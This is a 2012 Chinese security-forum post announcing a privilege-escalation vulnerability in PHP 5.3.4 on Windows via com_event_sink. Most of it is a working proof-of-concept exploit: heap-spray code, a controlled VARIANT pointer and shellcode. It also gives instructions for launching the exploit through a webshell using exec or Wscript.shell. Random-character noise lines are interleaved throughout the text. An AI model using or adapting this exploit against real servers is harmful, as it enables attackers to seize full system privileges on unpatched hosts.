中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
: ]: C6 A5 L5 H& H
5 r) {/ I, A( S2 O
测试方法如下：cmd /c x:\php\php.exe x:\test.php
0 s) ^* _, {7 B0 j. ^
3 R& x; V, j3 ?; ]" s! S+ P
下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
6 P0 o$ Y( b3 g7 b% q8 {
这里是两个测试的截图：
3 g# g |/ h& n2 e- o1 f
: l& ]) G2 m0 T' v: K2 ?
/ y5 B# f* Q5 ]! u+ e2 ~' h( c
: T, n% }* N ]! \: B
) Q+ ]3 u: S/ ^5 m
" u' s. x5 |/ z) q
成功利用此漏洞的攻击者将获得系统的最高权限
4 X! x; E% q: W h. w/ S0 Z
! d+ O4 F" W! z
" m- A7 ]. R3 O7 {
! ^) _5 @& f6 y; j
O# \! D H+ j6 Y7 ]
! U+ v; X/ k) l, u& X7 F
关于漏洞分析稍后附上。一下是PoC代码：
, ^- j1 o( ]- o' X
$ R$ d3 x, \4 m; w: f8 K/ n
<?php
! X7 h6 u6 Y7 x* {# y! g. o8 }
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
1 W6 P3 ^3 q* i
//$eip ="\x44\x43\x42\x41";
" ~1 y# w# n7 G. X# h7 j) N
$eip= "\x4b\xe8\x57\x78";
, J8 `/ ~* U8 f. ~ X
$eax ="\x80\x01\x8d\x04";
$ y) _* E! Q1 q' f' N! g; }
$deodrant="";
- l* s) @+ B8 Y; n0 [2 h# k- i$ r' [. P
$axespray = str_repeat($eip.$eax,0x80);
. N+ g5 O1 l% U* j( k
//048d0190
; D" T8 Q9 N) z& p
echo strlen($axespray);
3 H- ^ ]; J$ v+ c' F
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
& [& w; ~- q0 E% V
echo "Silic Group Hacker Army - BlackBap.Org";
3 k% J7 j* b- s/ n. x
//19200 ==4B32 4b00
' q, `8 ~/ {' Y0 U; H {+ {( }
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
& V3 L4 f8 F- V( d0 L
$terminate = "T";
* u. n2 M. A+ C, `* V- S
$u[] =$deodrant;
- p) d- h& ?' c3 r
$r[] =$deodrant.$terminate;
8 v9 f' T5 F, k- s0 K0 r( h, n* ]
$a[] =$deodrant.$terminate;
9 t) P3 {6 V) p7 J! ]
$s[] =$deodrant.$terminate;
9 o5 C7 K* e' z$ V3 z
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
) g; m% V6 F$ m1 w- G P! W; ~8 l
$vVar = new VARIANT(0x048d0000+180);
; }" z; c2 F) j+ r' O$ F4 I+ Q
//弹窗代码(Shellcode)
: B7 l9 L6 \2 `, {
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
. h2 Y- ]" a; H7 i- `
$var2 = new VARIANT(0x41414242);
4 j+ o; w& s% A; T( g9 R
com_event_sink($vVar,$var2,$buffer);
/ K6 q- K+ {! B
?>
( a1 F S! c A' l! Y" {2 f
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2